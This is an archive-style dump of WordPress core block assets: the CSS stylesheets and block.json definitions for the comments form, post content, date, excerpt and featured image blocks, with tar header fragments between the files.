:where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form input[type=submit]{box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}blocks/post-comments-form/editor-rtl.css000064400000000207151202620300014357 0ustar00.wp-block-post-comments-form *{ pointer-events:none; } .wp-block-post-comments-form .block-editor-warning *{ pointer-events:auto; }blocks/post-comments-form/editor-rtl.min.css000064400000000174151202620300015144 0ustar00.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}blocks/post-comments-form/style-rtl.css000064400000004031151202620300014230 0ustar00.wp-block-post-comments-form{ box-sizing:border-box; } .wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){ font-weight:inherit; } .wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){ font-family:inherit; } .wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){ font-size:inherit; } .wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){ line-height:inherit; } .wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){ font-style:inherit; } .wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){ letter-spacing:inherit; } .wp-block-post-comments-form input[type=submit]{ box-shadow:none; cursor:pointer; display:inline-block; overflow-wrap:break-word; text-align:center; } .wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{ padding:calc(.667em + 2px); } .wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-post-comments-form .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-post-comments-form .comment-reply-title{ margin-bottom:0; } .wp-block-post-comments-form .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-right:.5em; }blocks/post-comments-form/style.css000064400000004030151202620300013430 0ustar00.wp-block-post-comments-form{ box-sizing:border-box; } .wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){ font-weight:inherit; } .wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){ font-family:inherit; } .wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){ font-size:inherit; } .wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){ line-height:inherit; } .wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){ font-style:inherit; } .wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){ letter-spacing:inherit; } .wp-block-post-comments-form input[type=submit]{ box-shadow:none; cursor:pointer; display:inline-block; overflow-wrap:break-word; text-align:center; } .wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{ padding:calc(.667em + 2px); } .wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-post-comments-form .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-post-comments-form .comment-reply-title{ margin-bottom:0; } .wp-block-post-comments-form .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-left:.5em; }blocks/post-content/block.json000064400000001761151202620300012437 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-content", "title": "Content", "category": "theme", "description": "Displays the contents of a post or page.", "textdomain": "default", "usesContext": [ "postId", "postType", "queryId" ], "supports": { "align": [ "wide", "full" ], "html": false, "layout": true, "dimensions": { "minHeight": true }, "spacing": { "blockGap": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": false, "text": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-post-content-editor" } blocks/post-date/style-rtl.min.css000064400000000052151202620300013140 0ustar00.wp-block-post-date{box-sizing:border-box}blocks/post-date/block.json000064400000002171151202620300011676 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-date", "title": "Date", "category": "theme", "description": "Display the publish date for an entry such as a post or page.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "format": { "type": "string" }, "isLink": { "type": "boolean", "default": false }, "displayType": { "type": "string", "default": "date" } }, "usesContext": [ "postId", "postType", "queryId" ], "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/post-date/style.min.css000064400000000052151202620300012341 0ustar00.wp-block-post-date{box-sizing:border-box}blocks/post-date/style-rtl.css000064400000000057151202620300012363 0ustar00.wp-block-post-date{ box-sizing:border-box; }blocks/post-date/style.css000064400000000057151202620300011564 0ustar00.wp-block-post-date{ box-sizing:border-box; }blocks/post-excerpt/editor.min.css000064400000000120151202620300013220 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}blocks/post-excerpt/style-rtl.min.css000064400000000475151202620300013706 0ustar00:where(.wp-block-post-excerpt){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}blocks/post-excerpt/block.json000064400000002263151202620300012435 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-excerpt", "title": "Excerpt", "category": "theme", "description": "Display the excerpt.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "moreText": { "type": "string" }, "showMoreOnNewLine": { "type": "boolean", "default": true }, "excerptLength": { "type": "number", "default": 55 } }, "usesContext": [ "postId", "postType", "queryId" ], "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-post-excerpt-editor", "style": "wp-block-post-excerpt" } blocks/post-excerpt/editor.css000064400000000125151202620300012443 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{ display:inline; }blocks/post-excerpt/style.min.css000064400000000475151202620300013107 0ustar00:where(.wp-block-post-excerpt){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}blocks/post-excerpt/editor-rtl.css000064400000000125151202620300013242 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{ display:inline; }blocks/post-excerpt/editor-rtl.min.css000064400000000120151202620300014017 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}blocks/post-excerpt/style-rtl.css000064400000000540151202620300013115 0ustar00:where(.wp-block-post-excerpt){ margin-bottom:var(--wp--style--block-gap); margin-top:var(--wp--style--block-gap); } .wp-block-post-excerpt__excerpt{ margin-bottom:0; margin-top:0; } .wp-block-post-excerpt__more-text{ margin-bottom:0; margin-top:var(--wp--style--block-gap); } .wp-block-post-excerpt__more-link{ display:inline-block; }blocks/post-excerpt/style.css000064400000000540151202620300012316 0ustar00:where(.wp-block-post-excerpt){ margin-bottom:var(--wp--style--block-gap); margin-top:var(--wp--style--block-gap); } .wp-block-post-excerpt__excerpt{ margin-bottom:0; margin-top:0; } .wp-block-post-excerpt__more-text{ margin-bottom:0; margin-top:var(--wp--style--block-gap); } .wp-block-post-excerpt__more-link{ display:inline-block; }blocks/post-featured-image/editor.min.css000064400000010077151202620300014441 0ustar00.wp-block-post-featured-image .block-editor-media-placeholder{-webkit-backdrop-filter:none;backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;min-height:200px;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-left-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%}blocks/post-featured-image/style-rtl.min.css000064400000003445151202620300015113 0ustar00.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:transparent}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}blocks/post-featured-image/block.json000064400000003366151202620300013647 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-featured-image", "title": "Featured Image", "category": "theme", "description": "Display a post's featured image.", "textdomain": "default", "attributes": { "isLink": { "type": "boolean", "default": false }, "aspectRatio": { "type": "string" }, "width": { "type": "string" }, "height": { "type": "string" }, "scale": { "type": "string", "default": "cover" }, "sizeSlug": { "type": "string" }, "rel": { "type": "string", "attribute": "rel", "default": "" }, "linkTarget": { "type": "string", "default": "_self" }, "overlayColor": { "type": "string" }, "customOverlayColor": { "type": "string" }, "dimRatio": { "type": "number", "default": 0 }, "gradient": { "type": "string" }, "customGradient": { "type": "string" } }, "usesContext": [ "postId", "postType", "queryId" ], "supports": { "align": [ "left", "right", "center", "wide", "full" ], "color": { "__experimentalDuotone": "img, .wp-block-post-featured-image__placeholder, .components-placeholder__illustration, .components-placeholder::before", "text": false, "background": false }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalSelector": "img, .block-editor-media-placeholder, .wp-block-post-featured-image__overlay", "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "color": true, "radius": true, "width": true } }, "html": false, "spacing": { "margin": true, "padding": true } }, "editorStyle": "wp-block-post-featured-image-editor", "style": "wp-block-post-featured-image" } blocks/post-featured-image/editor.css000064400000010357151202620300013660 0ustar00.wp-block-post-featured-image .block-editor-media-placeholder{ -webkit-backdrop-filter:none; backdrop-filter:none; z-index:1; } .wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{ align-items:center; display:flex; justify-content:center; min-height:200px; padding:0; } .wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{ display:none; } .wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{ align-items:center; background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); border-radius:50%; border-style:solid; color:#fff; display:flex; height:48px; justify-content:center; padding:0; position:relative; width:48px; } .wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{ color:inherit; } .wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){ border-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){ border-top-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){ border-right-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){ border-bottom-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){ border-left-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){ border-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){ border-top-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){ border-right-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){ border-bottom-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){ border-left-style:solid; } .wp-block-post-featured-image[style*=height] .components-placeholder{ height:100%; min-height:48px; min-width:48px; width:100%; } div[data-type="core/post-featured-image"] img{ display:block; height:auto; max-width:100%; }blocks/post-featured-image/style.min.css000064400000003445151202620300014314 0ustar00.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:transparent}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}blocks/post-featured-image/editor-rtl.css000064400000010357151202620300014457 0ustar00.wp-block-post-featured-image .block-editor-media-placeholder{ -webkit-backdrop-filter:none; backdrop-filter:none; z-index:1; } .wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{ align-items:center; display:flex; justify-content:center; min-height:200px; padding:0; } .wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{ display:none; } .wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{ align-items:center; background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); border-radius:50%; border-style:solid; color:#fff; display:flex; height:48px; justify-content:center; padding:0; position:relative; width:48px; } .wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{ color:inherit; } .wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){ border-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){ border-top-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){ border-left-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){ border-bottom-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){ border-right-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){ border-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){ border-top-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){ border-left-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){ border-bottom-style:solid; } .wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){ border-right-style:solid; } .wp-block-post-featured-image[style*=height] .components-placeholder{ height:100%; min-height:48px; min-width:48px; width:100%; } div[data-type="core/post-featured-image"] img{ display:block; height:auto; max-width:100%; }blocks/post-featured-image/editor-rtl.min.css000064400000010077151202620300015240 0ustar00.wp-block-post-featured-image .block-editor-media-placeholder{-webkit-backdrop-filter:none;backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;min-height:200px;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-right-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%}blocks/post-featured-image/style-rtl.css000064400000003657151202620300014336 0ustar00.wp-block-post-featured-image{ margin-left:0; margin-right:0; } .wp-block-post-featured-image a{ display:block; height:100%; } .wp-block-post-featured-image img{ box-sizing:border-box; height:auto; max-width:100%; vertical-align:bottom; width:100%; } .wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{ width:100%; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{ background-color:#000; inset:0; position:absolute; } .wp-block-post-featured-image{ position:relative; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{ background-color:transparent; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{ opacity:0; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{ opacity:.1; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{ opacity:.2; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{ opacity:.3; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{ opacity:.4; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{ opacity:.5; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{ opacity:.6; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{ opacity:.7; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{ opacity:.8; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{ opacity:.9; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{ opacity:1; } 